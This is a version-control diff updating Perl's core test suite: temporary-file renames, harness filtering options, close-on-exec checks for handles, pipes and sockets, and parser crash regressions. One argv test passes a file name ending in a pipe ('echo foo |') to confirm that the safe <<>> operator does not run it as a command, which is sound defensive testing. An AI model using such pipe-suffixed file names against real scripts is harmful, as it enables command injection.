+${sub#xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
+EOS
+Missing right curly or square bracket at - line 1, at end of line
+syntax error at - line 1, at EOF
+Execution of - aborted due to compilation errors.
+EXPECTED
+
+SKIP:
+{
+    # [perl #131949] use after free
+    # detected by ASAN
+    # Win32 cmd.exe can't handle newlines well
+    skip("Need POSIXish", 1) if $^O eq "MSWin32";
+    my $out = runperl(prog => "\@{ 0\n\n}", stderr => 1, non_portable => 1);
+    is($out, "", "check for ASAN use after free");
+}
+
+fresh_perl_is('-C-', <<'EXPECTED', {}, "ambiguous unary operator check doesn't crash (#132433)");
+Warning: Use of "-C-" without parentheses is ambiguous at - line 1.
+syntax error at - line 1, at EOF
+Execution of - aborted due to compilation errors.
+EXPECTED
+
 __END__
 # ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/t/comp/utf.t
===================================================================
--- vendor/perl/dist/t/comp/utf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/comp/utf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,11 +34,11 @@
 
 sub test {
     my ($enc, $write, $expect, $bom, $nl, $name) = @_;
-    open my $fh, ">", "utf$$.pl" or die "utf.pl: $!";
+    open my $fh, ">", "tmputf$$.pl" or die "tmputf$$.pl: $!";
     binmode $fh;
     print $fh bytes_to_utf($enc, $write . ($nl ? "\n" : ''), $bom);
     close $fh or die $!;
-    my $got = do "./utf$$.pl";
+    my $got = do "./tmputf$$.pl";
     $test = $test + 1;
     if (!defined $got) {
 	if ($@ =~ /^(Unsupported script encoding \Q$enc\E)/) {
@@ -100,5 +100,5 @@
 }
 
 END {
-    1 while unlink "utf$$.pl";
+    1 while unlink "tmputf$$.pl";
 }

Modified: vendor/perl/dist/t/harness
===================================================================
--- vendor/perl/dist/t/harness	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/harness	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,7 +34,7 @@
 # which live dual lives on CPAN.
 $ENV{PERL_CORE} = 1;
 
-my (@tests, $re);
+my (@tests, @re, @anti_re);
 
 # [.VMS]TEST.COM calls harness with empty arguments, so clean-up @ARGV
 @ARGV = grep $_ && length( $_ ) => @ARGV;
@@ -61,13 +61,16 @@
     @results;
 }
 
-if ($ARGV[0] && $ARGV[0]=~/^-re/) {
-    if ($ARGV[0]!~/=/) {
-        shift;
-        $re=join "|", at ARGV;
-        @ARGV=();
+while ($ARGV[0] && $ARGV[0]=~/^-(n?)re/) {
+    my $ary= $1 ? \@anti_re : \@re;
+
+    if ( $ARGV[0] !~ /=/ ) {
+        shift @ARGV;
+        while (@ARGV and $ARGV[0] !~ /^-/) {
+            push @$ary, shift @ARGV;
+        }
     } else {
-        (undef,$re)=split/=/,shift;
+        push @$ary, (split/=/,shift @ARGV)[1];
     }
 }
 
@@ -145,7 +148,7 @@
 	push @seq, $next;
 
 	my @last;
-	push @last,  sort { lc $a cmp lc $b }
+	push @last,
 	    _tests_from_manifest($Config{extensions}, $Config{known_extensions});
 	my %times;
 	if ($state) {
@@ -163,7 +166,9 @@
 		s,\\,/,g; # canonicalize path
 	    };
 	    # Treat every file matching lib/*.t as a "directory"
-	    m!\A(\.\./lib/[^/]+\.t\z|.*[/])! or die "'$_'";
+	    m! \A ( \.\. / (?: lib | ext/XS-APItest/t )
+                         / [^/]+ \.t \z | .* [/] ) !x
+                or die "'$_'";
 	    push @{$dir{$1}}, $_;
 	    $total_time{$1} += $times{$_} || 0;
 	}
@@ -174,7 +179,7 @@
 	# sequentially.
 	push @seq, { par => [ map { s!/$!/*!; { seq => $_ } } sort {
 	    # Directories, ordered by total time descending then name ascending
-	    $total_time{$b} <=> $total_time{$a} || $a cmp $b
+	    $total_time{$b} <=> $total_time{$a} || lc $a cmp lc $b
 	} keys %dir ] };
 
 	$rules = { seq => \@seq };
@@ -183,8 +188,28 @@
 if ($^O eq 'MSWin32') {
     s,\\,/,g for @tests;
 }
- at tests=grep /$re/, @tests 
-    if $re;
+if (@re or @anti_re) {
+    my @keepers;
+    foreach my $test (@tests) {
+        my $keep = 0;
+        if (@re) {
+            foreach my $re (@re) {
+                $keep = 1 if $test=~/$re/;
+            }
+        } else {
+            $keep = 1;
+        }
+        if (@anti_re) {
+            foreach my $anti_re (@anti_re) {
+                $keep = 0 if $test=~/$anti_re/;
+            }
+        }
+        if ($keep) {
+            push @keepers, $test;
+        }
+    }
+    @tests= @keepers;
+}
 
 # Allow eg ./perl t/harness t/op/lc.t
 for (@tests) {

Modified: vendor/perl/dist/t/io/argv.t
===================================================================
--- vendor/perl/dist/t/io/argv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/argv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,16 +17,16 @@
     $devnull = File::Spec->devnull;
 }
 
-open(TRY, '>Io_argv1.tmp') || (die "Can't open temp file: $!");
+open(TRY, '>tmpIo_argv1.tmp') || (die "Can't open temp file: $!");
 print TRY "a line\n";
 close TRY or die "Could not close: $!";
-open(TRY, '>Io_argv2.tmp') || (die "Can't open temp file: $!");
+open(TRY, '>tmpIo_argv2.tmp') || (die "Can't open temp file: $!");
 print TRY "another line\n";
 close TRY or die "Could not close: $!";
 
 $x = runperl(
     prog	=> 'while (<>) { print $., $_; }',
-    args	=> [ 'Io_argv1.tmp', 'Io_argv1.tmp' ],
+    args	=> [ 'tmpIo_argv1.tmp', 'tmpIo_argv1.tmp' ],
 );
 is($x, "1a line\n2a line\n", '<> from two files');
 
@@ -34,7 +34,7 @@
     $x = runperl(
 	prog	=> 'while (<>) { print $_; }',
 	stdin	=> "foo\n",
-	args	=> [ 'Io_argv1.tmp', '-' ],
+	args	=> [ 'tmpIo_argv1.tmp', '-' ],
     );
     is($x, "a line\nfoo\n", '<> from a file and STDIN');
 
@@ -55,9 +55,9 @@
 
     $x = runperl(
 	prog	=> 'while (<>) { print $ARGV.q/,/.$_ }',
-	args	=> [ 'Io_argv1.tmp', 'Io_argv2.tmp' ],
+	args	=> [ 'tmpIo_argv1.tmp', 'tmpIo_argv2.tmp' ],
     );
-    is($x, "Io_argv1.tmp,a line\nIo_argv2.tmp,another line\n", '$ARGV is the file name');
+    is($x, "tmpIo_argv1.tmp,a line\ntmpIo_argv2.tmp,another line\n", '$ARGV is the file name');
 
 TODO: {
         local $::TODO = "unrelated bug in redirection implementation" if $^O eq 'VMS';
@@ -83,8 +83,8 @@
     is( 0+$?, 0, q(eof() doesn't segfault) );
 }
 
- at ARGV = is_miniperl() ? ('Io_argv1.tmp', 'Io_argv1.tmp', 'Io_argv1.tmp')
-    : ('Io_argv1.tmp', 'Io_argv1.tmp', $devnull, 'Io_argv1.tmp');
+ at ARGV = is_miniperl() ? ('tmpIo_argv1.tmp', 'tmpIo_argv1.tmp', 'tmpIo_argv1.tmp')
+    : ('tmpIo_argv1.tmp', 'tmpIo_argv1.tmp', $devnull, 'tmpIo_argv1.tmp');
 while (<>) {
     $y .= $. . $_;
     if (eof()) {
@@ -95,11 +95,11 @@
 is($y, "1a line\n2a line\n3a line\n", '<> from @ARGV');
 
 
-open(TRY, '>Io_argv1.tmp') or die "Can't open temp file: $!";
+open(TRY, '>tmpIo_argv1.tmp') or die "Can't open temp file: $!";
 close TRY or die "Could not close: $!";
-open(TRY, '>Io_argv2.tmp') or die "Can't open temp file: $!";
+open(TRY, '>tmpIo_argv2.tmp') or die "Can't open temp file: $!";
 close TRY or die "Could not close: $!";
- at ARGV = ('Io_argv1.tmp', 'Io_argv2.tmp');
+ at ARGV = ('tmpIo_argv1.tmp', 'tmpIo_argv2.tmp');
 $^I = '_bak';   # not .bak which confuses VMS
 $/ = undef;
 my $i = 11;
@@ -109,9 +109,9 @@
     print;
     next_test();
 }
-open(TRY, '<Io_argv1.tmp') or die "Can't open temp file: $!";
+open(TRY, '<tmpIo_argv1.tmp') or die "Can't open temp file: $!";
 print while <TRY>;
-open(TRY, '<Io_argv2.tmp') or die "Can't open temp file: $!";
+open(TRY, '<tmpIo_argv2.tmp') or die "Can't open temp file: $!";
 print while <TRY>;
 close TRY or die "Could not close: $!";
 undef $^I;
@@ -123,7 +123,7 @@
     ok( eof NEVEROPENED,    'eof() true on unopened filehandle' );
 }
 
-open STDIN, 'Io_argv1.tmp' or die $!;
+open STDIN, 'tmpIo_argv1.tmp' or die $!;
 @ARGV = ();
 ok( !eof(),     'STDIN has something' );
 
@@ -135,7 +135,7 @@
     @ARGV = ();
     ok( eof(),      'eof() true with empty @ARGV' );
 
-    @ARGV = ('Io_argv1.tmp');
+    @ARGV = ('tmpIo_argv1.tmp');
     ok( !eof() );
 
     @ARGV = ($devnull, $devnull);
@@ -147,7 +147,7 @@
 
 SKIP: {
     local $/;
-    open my $fh, 'Io_argv1.tmp' or die "Could not open Io_argv1.tmp: $!";
+    open my $fh, 'tmpIo_argv1.tmp' or die "Could not open tmpIo_argv1.tmp: $!";
     <$fh>;	# set $. = 1
     is( <$fh>, undef );
 
@@ -165,19 +165,19 @@
     close $fh or die "Could not close: $!";
 }
 
-open(TRY, '>Io_argv1.tmp') || (die "Can't open temp file: $!");
+open(TRY, '>tmpIo_argv1.tmp') || (die "Can't open temp file: $!");
 print TRY "one\n\nthree\n";
 close TRY or die "Could not close: $!";
 
 $x = runperl(
     prog	=> 'print $..$ARGV.$_ while <<>>',
-    args	=> [ 'Io_argv1.tmp' ],
+    args	=> [ 'tmpIo_argv1.tmp' ],
 );
-is($x, "1Io_argv1.tmpone\n2Io_argv1.tmp\n3Io_argv1.tmpthree\n", '<<>>');
+is($x, "1tmpIo_argv1.tmpone\n2tmpIo_argv1.tmp\n3tmpIo_argv1.tmpthree\n", '<<>>');
 
 $x = runperl(
     prog	=> '$w=q/b/;$w.=<<>>;print $w',
-    args	=> [ 'Io_argv1.tmp' ],
+    args	=> [ 'tmpIo_argv1.tmp' ],
 );
 is($x, "bone\n", '<<>> and rcatline');
 
@@ -232,7 +232,7 @@
     $x = runperl(
         prog	=> 'while (<<>>) { }',
         stderr	=> 1,
-        args	=> [ 'Io_argv1.tmp', '"echo foo |"' ],
+        args	=> [ 'tmpIo_argv1.tmp', '"echo foo |"' ],
     );
     like($x, qr/^Can't open echo foo \|: .* at -e line 1, <> line 3/, '<<>> does not treat ...| as fork after eof');
 }
@@ -239,10 +239,10 @@
 
 # This used to dump core
 fresh_perl_is( <<'**PROG**', "foobar", {}, "ARGV aliasing and eof()" ); 
-open OUT, ">Io_argv3.tmp" or die "Can't open temp file: $!";
+open OUT, ">tmpIo_argv3.tmp" or die "Can't open temp file: $!";
 print OUT "foo";
 close OUT;
-open IN, "Io_argv3.tmp" or die "Can't open temp file: $!";
+open IN, "tmpIo_argv3.tmp" or die "Can't open temp file: $!";
 *ARGV = *IN;
 while (<>) {
     print;
@@ -249,7 +249,7 @@
     print "bar" if eof();
 }
 close IN;
-unlink "Io_argv3.tmp";
+unlink "tmpIo_argv3.tmp";
 **PROG**
 
 # This used to fail an assertion.
@@ -263,6 +263,6 @@
   "ok\n", 'deleting $::{ARGV}';
 
 END {
-    unlink_all 'Io_argv1.tmp', 'Io_argv1.tmp_bak',
-	'Io_argv2.tmp', 'Io_argv2.tmp_bak', 'Io_argv3.tmp';
+    unlink_all 'tmpIo_argv1.tmp', 'tmpIo_argv1.tmp_bak',
+	'tmpIo_argv2.tmp', 'tmpIo_argv2.tmp_bak', 'tmpIo_argv3.tmp';
 }

Modified: vendor/perl/dist/t/io/fs.t
===================================================================
--- vendor/perl/dist/t/io/fs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/fs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -192,6 +192,7 @@
     $mode = (stat "a")[2];
     SKIP: {
         skip "no mode checks", 1 if $skip_mode_checks;
+        skip "chmod(0, FH) means assume user defaults on VMS", 1 if $^O eq 'VMS';
         is($mode & 0777, 0, "perm reset");
     }
     is(chmod($newmode, "a"), 1, "fchmod");
@@ -468,19 +469,24 @@
     chdir $wd || die "Can't cd back to $wd";
 }
 
-# check if rename() works on directories
-if ($^O eq 'VMS') {
-    # must have delete access to rename a directory
-    `set file $tmpdir.dir/protection=o:d`;
-    ok(rename("$tmpdir.dir", "$tmpdir1.dir"), "rename on directories") ||
-      print "# errno: $!\n";
+SKIP:
+{
+    $Config{d_rename}
+      or skip "Cannot rename directories with link()", 2;
+    # check if rename() works on directories
+    if ($^O eq 'VMS') {
+        # must have delete access to rename a directory
+        `set file $tmpdir.dir/protection=o:d`;
+        ok(rename("$tmpdir.dir", "$tmpdir1.dir"), "rename on directories") ||
+          print "# errno: $!\n";
+    }
+    else {
+        ok(rename($tmpdir, $tmpdir1), "rename on directories");
+    }
+
+    ok(-d $tmpdir1, "rename on directories working");
 }
-else {
-    ok(rename($tmpdir, $tmpdir1), "rename on directories");
-}
 
-ok(-d $tmpdir1, "rename on directories working");
-
 {
     # Change 26011: Re: A surprising segfault
     # to make sure only that these obfuscated sentences will not crash.

Modified: vendor/perl/dist/t/io/nargv.t
===================================================================
--- vendor/perl/dist/t/io/nargv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/nargv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-print "1..5\n";
+print "1..6\n";
 
 my $j = 1;
 for $i ( 1,2,5,4,3 ) {
@@ -43,6 +43,28 @@
     show();
 }
 
+# test setuid is preserved (and hopefully setgid)
+#
+# With nested in-place editing PL_oldname and PL_filemode would
+# be overwritten by the values for the last file in the nested
+# loop.  This is now all stored as magic in *ARGVOUT{IO}
+$^I = "";
+ at ARGV = mkfiles(1..3);
+my $sidfile = $ARGV[1];
+chmod(04600, $sidfile);
+my $mode = (stat $ARGV[1])[2];
+$n = 0;
+while (<>) {
+    print STDOUT "#final \@ARGV: [@ARGV]\n";
+    if ($n++ == 1) {
+	other();
+    }
+    print;
+}
+my $newmode = (stat $sidfile)[2];
+printf "# before %#o after %#o\n", $mode, $newmode;
+print +($mode == $newmode ? "" : "not "). "ok 6 # check setuid mode preserved\n";
+
 sub show {
     #warn "$ARGV: $_";
     s/^not //;

Modified: vendor/perl/dist/t/io/open.t
===================================================================
--- vendor/perl/dist/t/io/open.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/open.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,8 +10,18 @@
 use warnings;
 use Config;
 
-plan tests => 156;
+plan tests => 188;
 
+sub ok_cloexec {
+    SKIP: {
+	skip "no fcntl", 1 unless $Config{d_fcntl};
+	my $fd = fileno($_[0]);
+	fresh_perl_is(qq(
+	    print open(F, "+<&=$fd") ? 1 : 0, "\\n";
+	), "0\n", {}, "not inherited across exec");
+    }
+}
+
 my $Perl = which_perl();
 
 my $afile = tempfile();
@@ -20,6 +30,7 @@
 
     $! = 0;  # the -f above will set $! if $afile doesn't exist.
     ok( open(my $f,"+>$afile"),  'open(my $f, "+>...")' );
+    ok_cloexec($f);
 
     binmode $f;
     ok( -f $afile,              '       its a file');
@@ -40,6 +51,7 @@
 
 {
     ok( open(my $f,'>', $afile),        "open(my \$f, '>', $afile)" );
+    ok_cloexec($f);
     ok( (print $f "a row\n"),           '       print');
     ok( close($f),                      '       close' );
     ok( -s $afile < 10,                 '       -s' );
@@ -47,6 +59,7 @@
 
 {
     ok( open(my $f,'>>', $afile),       "open(my \$f, '>>', $afile)" );
+    ok_cloexec($f);
     ok( (print $f "a row\n"),           '       print' );
     ok( close($f),                      '       close' );
     ok( -s $afile > 10,                 '       -s'    );
@@ -54,6 +67,7 @@
 
 {
     ok( open(my $f, '<', $afile),       "open(my \$f, '<', $afile)" );
+    ok_cloexec($f);
     my @rows = <$f>;
     is( scalar @rows, 2,                '       readline, list context' );
     is( $rows[0], "a row\n",            '       first line read' );
@@ -65,6 +79,7 @@
     ok( -s $afile < 20,                 '-s' );
 
     ok( open(my $f, '+<', $afile),      'open +<' );
+    ok_cloexec($f);
     my @rows = <$f>;
     is( scalar @rows, 2,                '       readline, list context' );
     ok( seek($f, 0, 1),                 '       seek cur' );
@@ -79,6 +94,7 @@
     $Perl -e "print qq(a row\\n); print qq(another row\\n)"
 EOC
 
+    ok_cloexec($f);
     my @rows = <$f>;
     is( scalar @rows, 2,                '       readline, list context' );
     ok( close($f),                      '       close' );
@@ -88,6 +104,7 @@
     $Perl -pe "s/^not //"
 EOC
 
+    ok_cloexec($f);
     my @rows = <$f>;
     my $test = curr_test;
     print $f "not ok $test - piped in\n";
@@ -120,6 +137,7 @@
     unlink($afile) if -f $afile;
 
     ok( open(local $f,"+>$afile"),       'open local $f, "+>", ...' );
+    ok_cloexec($f);
     binmode $f;
 
     ok( -f $afile,                      '       -f' );
@@ -140,6 +158,7 @@
 
 {
     ok( open(local $f,'>', $afile),     'open local $f, ">", ...' );
+    ok_cloexec($f);
     ok( (print $f "a row\n"),           '       print');
     ok( close($f),                      '       close');
     ok( -s $afile < 10,                 '       -s' );
@@ -147,6 +166,7 @@
 
 {
     ok( open(local $f,'>>', $afile),    'open local $f, ">>", ...' );
+    ok_cloexec($f);
     ok( (print $f "a row\n"),           '       print');
     ok( close($f),                      '       close');
     ok( -s $afile > 10,                 '       -s' );
@@ -154,6 +174,7 @@
 
 {
     ok( open(local $f, '<', $afile),    'open local $f, "<", ...' );
+    ok_cloexec($f);
     my @rows = <$f>;
     is( scalar @rows, 2,                '       readline list context' );
     ok( close($f),                      '       close' );
@@ -163,6 +184,7 @@
 
 {
     ok( open(local $f, '+<', $afile),  'open local $f, "+<", ...' );
+    ok_cloexec($f);
     my @rows = <$f>;
     is( scalar @rows, 2,                '       readline list context' );
     ok( seek($f, 0, 1),                 '       seek cur' );
@@ -177,6 +199,7 @@
     ok( open(local $f, '-|', <<EOC),  'open local $f, "-|", ...' );
     $Perl -e "print qq(a row\\n); print qq(another row\\n)"
 EOC
+    ok_cloexec($f);
     my @rows = <$f>;
 
     is( scalar @rows, 2,                '       readline list context' );
@@ -188,6 +211,7 @@
     $Perl -pe "s/^not //"
 EOC
 
+    ok_cloexec($f);
     my @rows = <$f>;
     my $test = curr_test;
     print $f "not ok $test - piping\n";
@@ -209,6 +233,7 @@
     local *F;
     for (1..2) {
 	ok( open(F, qq{$Perl -le "print 'ok'"|}), 'open to pipe' );
+	ok_cloexec(\*F);
 	is(scalar <F>, "ok\n",  '       readline');
 	ok( close F,            '       close' );
     }
@@ -215,6 +240,7 @@
 
     for (1..2) {
 	ok( open(F, "-|", qq{$Perl -le "print 'ok'"}), 'open -|');
+	ok_cloexec(\*F);
 	is( scalar <F>, "ok\n", '       readline');
 	ok( close F,            '       close' );
     }
@@ -224,19 +250,23 @@
 # other dupping techniques
 {
     ok( open(my $stdout, ">&", \*STDOUT),       'dup \*STDOUT into lexical fh');
+    ok_cloexec($stdout);
     ok( open(STDOUT,     ">&", $stdout),        'restore dupped STDOUT from lexical fh');
 
     {
 	use strict; # the below should not warn
 	ok( open(my $stdout, ">&", STDOUT),         'dup STDOUT into lexical fh');
+	ok_cloexec($stdout);
     }
 
     # used to try to open a file [perl #17830]
     ok( open(my $stdin,  "<&", fileno STDIN),   'dup fileno(STDIN) into lexical fh') or _diag $!;
+    ok_cloexec($stdin);
 
     fileno(STDIN) =~ /(.)/;
     ok open($stdin, "<&", $1), 'open ... "<&", $magical_fileno',
 	||  _diag $!;
+    ok_cloexec($stdin);
 }
 
 SKIP: {
@@ -266,20 +296,24 @@
     }
 
     open($fh0[0], "TEST");
+    ok_cloexec($fh0[0]);
     gimme($fh0[0]);
     like($@, qr/<\$fh0\[...\]> line 1\./, "autoviv fh package aelem");
 
     open($fh1{k}, "TEST");
+    ok_cloexec($fh1{h});
     gimme($fh1{k});
     like($@, qr/<\$fh1\{...}> line 1\./, "autoviv fh package helem");
 
     my @fh2;
     open($fh2[0], "TEST");
+    ok_cloexec($fh2[0]);
     gimme($fh2[0]);
     like($@, qr/<\$fh2\[...\]> line 1\./, "autoviv fh lexical aelem");
 
     my %fh3;
     open($fh3{k}, "TEST");
+    ok_cloexec($fh3{h});
     gimme($fh3{k});
     like($@, qr/<\$fh3\{...}> line 1\./, "autoviv fh lexical helem");
 
@@ -485,5 +519,45 @@
     unlink "$fh";
 }
 
-package OverloadTest;
-use overload '""' => sub { ${$_[0]} };
+{
+    package OverloadTest;
+    use overload '""' => sub { ${$_[0]} };
+}
+
+# [perl #115814] open(${\$x}, ...) creates spurious reference to handle in stash
+SKIP: {
+    # The bug doesn't depend on perlio, but perlio provides this nice
+    # way of discerning when a handle actually closes.
+    skip("These tests use perlio", 5) unless $Config{useperlio};
+    skip_if_miniperl("miniperl can't load PerlIO::scalar", 5);
+    my($a, $b, $s, $t);
+    $s = "";
+    open($a, ">:scalar:perlio", \$s) or die;
+    print {$a} "abc";
+    is $s, "", "buffering delays writing to scalar (simple open)";
+    $a = undef;
+    is $s, "abc", "buffered write happens on dropping handle ref (simple open)";
+    $t = "";
+    open(${\$b}, ">:scalar:perlio", \$t) or die;
+    print {$b} "xyz";
+    is $t, "", "buffering delays writing to scalar (complex open)";
+    $b = undef;
+    is $t, "xyz", "buffered write happens on dropping handle ref (complex open)";
+    is scalar(grep { /\A_GEN_/ } keys %::), 0, "no gensym appeared in stash";
+}
+
+# [perl #16113] returning handle in localised glob
+{
+    my $tfile = tempfile();
+    open(my $twrite, ">", $tfile) or die $!;
+    print {$twrite} "foo\nbar\n" or die $!;
+    close $twrite or die $!;
+    $twrite = undef;
+    my $tread = do {
+	local *F;
+	open(F, "<", $tfile) or die $!;
+	*F;
+    };
+    is scalar(<$tread>), "foo\n", "IO handle returned in localised glob";
+    close $tread;
+}

Modified: vendor/perl/dist/t/io/openpid.t
===================================================================
--- vendor/perl/dist/t/io/openpid.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/openpid.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,11 +23,15 @@
 use Config;
 $| = 1;
 $SIG{PIPE} = 'IGNORE';
+# reset the handler in case the shell has set a broken default
+$SIG{HUP} = 'DEFAULT';
 $SIG{HUP} = 'IGNORE' if $^O eq 'interix';
 
 my $perl = which_perl();
 $perl .= qq[ "-I../lib"];
 
+my @perl = ( which_perl(), "-I../lib" );
+
 #
 # commands run 4 perl programs.  Two of these programs write a
 # short message to STDOUT and exit.  Two of these programs
@@ -35,16 +39,36 @@
 # the other reader reads one line, waits a few seconds and then
 # exits to test the waitpid function.
 #
-$cmd1 = qq/$perl -e "\$|=1; print qq[first process\\n]; sleep 30;"/;
-$cmd2 = qq/$perl -e "\$|=1; print qq[second process\\n]; sleep 30;"/;
+# Using 4+ arg open for the children that sleep so that that we're
+# killing the perl process instead of an intermediate shell, this
+# allows harness to see the file handles closed sooner.  I didn't
+# convert them all since I wanted 3-arg open to continue to be
+# exercised here.
+#
+# VMS does not have the list form of piped open, but it also would
+# not create a separate process for an intermediate shell.
+if ($^O eq 'VMS') {
+    $cmd1 = qq/$perl -e "\$|=1; print qq[first process\\n]; sleep 30;"/;
+    $cmd2 = qq/$perl -e "\$|=1; print qq[second process\\n]; sleep 30;"/;
+}
+else {
+    @cmd1 = ( @perl, "-e", "\$|=1; print qq[first process\\n]; sleep 30;" );
+    @cmd2 = ( @perl, "-e", "\$|=1; print qq[second process\\n]; sleep 30;" );
+}
 $cmd3 = qq/$perl -e "print <>;"/; # hangs waiting for end of STDIN
 $cmd4 = qq/$perl -e "print scalar <>;"/;
 
-#warn "#$cmd1\n#$cmd2\n#$cmd3\n#$cmd4\n";
+#warn "#@cmd1\n#@cmd2\n#$cmd3\n#$cmd4\n";
 
 # start the processes
-ok( $pid1 = open(FH1, "$cmd1 |"), 'first process started');
-ok( $pid2 = open(FH2, "$cmd2 |"), '    second' );
+if ($^O eq 'VMS') {
+    ok( $pid1 = open(FH1, "$cmd1 |"), 'first process started');
+    ok( $pid2 = open(FH2, "$cmd2 |"), '    second' );
+}
+else {
+    ok( $pid1 = open(FH1, "-|", @cmd1), 'first process started');
+    ok( $pid2 = open(FH2, "-|", @cmd2), '    second' );
+}
 {
     no warnings 'once';
     ok( $pid3 = open(FH3, "| $cmd3"), '    third'  );

Modified: vendor/perl/dist/t/io/pipe.t
===================================================================
--- vendor/perl/dist/t/io/pipe.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/pipe.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
     skip_all("fork required to pipe");
 }
 else {
-    plan(tests => 24);
+    plan(tests => 25);
 }
 
 my $Perl = which_perl();
@@ -138,6 +138,18 @@
 next_test;
 pass();
 
+SKIP: {
+    skip "no fcntl", 1 unless $Config{d_fcntl};
+    my($r, $w);
+    pipe($r, $w) || die "pipe: $!";
+    my $fdr = fileno($r);
+    my $fdw = fileno($w);
+    fresh_perl_is(qq(
+	print open(F, "<&=$fdr") ? 1 : 0, "\\n";
+	print open(F, ">&=$fdw") ? 1 : 0, "\\n";
+    ), "0\n0\n", {}, "pipe endpoints not inherited across exec");
+}
+
 # VMS doesn't like spawning subprocesses that are still connected to
 # STDOUT.  Someone should modify these tests to work with VMS.
 

Modified: vendor/perl/dist/t/io/socket.t
===================================================================
--- vendor/perl/dist/t/io/socket.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/socket.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,6 +23,8 @@
 use strict;
 use Socket;
 
+our $TODO;
+
 $| = 1; # ensure test output is synchronous so processes don't conflict
 
 my $tcp = getprotobyname('tcp')
@@ -44,12 +46,12 @@
 
 SKIP: {
     # test it all in TCP
-    $local or skip("No localhost", 2);
+    $local or skip("No localhost", 3);
 
     ok(socket(my $serv, PF_INET, SOCK_STREAM, $tcp), "make a tcp socket");
     my $bind_at = pack_sockaddr_in(0, $local);
     ok(bind($serv, $bind_at), "bind works")
-	or skip("Couldn't bind to localhost", 3);
+	or skip("Couldn't bind to localhost", 4);
     my $bind_name = getsockname($serv);
     ok($bind_name, "getsockname() on bound socket");
     my ($bind_port) = unpack_sockaddr_in($bind_name);
@@ -61,7 +63,7 @@
 	ok(listen($serv, 5), "listen() works")
 	  or diag "listen error: $!";
 
-	$fork or skip("No fork", 1);
+	$fork or skip("No fork", 2);
 	my $pid = fork;
 	my $send_data = "test" x 50_000;
 	if ($pid) {
@@ -70,7 +72,14 @@
 	       "make accept tcp socket");
 	    ok(my $addr = accept($accept, $serv), "accept() works")
 		or diag "accept error: $!";
-
+            binmode $accept;
+	    SKIP: {
+		skip "no fcntl", 1 unless $Config{d_fcntl};
+		my $acceptfd = fileno($accept);
+		fresh_perl_is(qq(
+		    print open(F, "+<&=$acceptfd") ? 1 : 0, "\\n";
+		), "0\n", {}, "accepted socket not inherited across exec");
+	    }
 	    my $sent_total = 0;
 	    while ($sent_total < length $send_data) {
 		my $sent = send($accept, substr($send_data, $sent_total), 0);
@@ -89,7 +98,7 @@
 	    ok($shutdown, "shutdown() works");
 	}
 	elsif (defined $pid) {
-	    curr_test(curr_test()+2);
+	    curr_test(curr_test()+3);
 	    #sleep 1;
 	    # child
 	    ok_child(close($serv), "close server socket in child");
@@ -98,13 +107,11 @@
 
 	    ok_child(connect($child, $bind_name), "connect() works")
 		or diag "connect error: $!";
-
+            binmode $child;
 	    my $buf;
 	    my $recv_peer = recv($child, $buf, 1000, 0);
 	    {
-		use vars '$TODO';
-		local $TODO;
-		$TODO = "[perl #122657] Hurd doesn't populate sin_len correctly"
+        local $TODO = "[perl #122657] Hurd doesn't populate sin_len correctly"
 		    if $^O eq "gnu";
 		# [perl #118843]
 		ok_child($recv_peer eq '' || $recv_peer eq getpeername $child,
@@ -123,7 +130,7 @@
 	else {
 	    # failed to fork
 	    diag "fork() failed $!";
-	    skip("fork() failed", 1);
+	    skip("fork() failed", 2);
 	}
     }
 }
@@ -162,6 +169,16 @@
     ok('RT #7614: still alive after accept($sock, $sock)');
 }
 
+SKIP: {
+    skip "no fcntl", 1 unless $Config{d_fcntl};
+    my $sock;
+    socket($sock, PF_INET, SOCK_STREAM, $tcp) or die "socket: $!";
+    my $sockfd = fileno($sock);
+    fresh_perl_is(qq(
+	print open(F, "+<&=$sockfd") ? 1 : 0, "\\n";
+    ), "0\n", {}, "fresh socket not inherited across exec");
+}
+
 done_testing();
 
 my @child_tests;

Added: vendor/perl/dist/t/io/socketpair.t
===================================================================
--- vendor/perl/dist/t/io/socketpair.t	                        (rev 0)
+++ vendor/perl/dist/t/io/socketpair.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,51 @@
+#!./perl
+
+BEGIN {
+    chdir 't' if -d 't';
+    require Config; import Config;
+    require './test.pl';
+    set_up_inc('../lib');
+    skip_all_if_miniperl();
+    for my $needed (qw(d_socket)) {
+	if ($Config{$needed} ne 'define') {
+	    skip_all("-- \$Config{$needed} undefined");
+	}
+    }
+    unless ($Config{extensions} =~ /\bSocket\b/) {
+	skip_all('-- Socket not available');
+    }
+}
+
+use strict;
+use IO::Handle;
+use Socket;
+
+{
+    socketpair(my $a, my $b, PF_UNIX, SOCK_STREAM, 0)
+	or skip_all("socketpair() for PF_UNIX failed ($!)");
+}
+
+plan(tests => 8);
+
+{
+    my($a, $b);
+    ok socketpair($a, $b, PF_UNIX, SOCK_STREAM, 0), "create socket pair";
+    ok($a->printflush("aa\n"), "write one way");
+    ok($b->printflush("bb\n"), "write other way");
+    is(readline($b), "aa\n", "read one way");
+    is(readline($a), "bb\n", "read other way");
+    ok(close $a, "close one end");
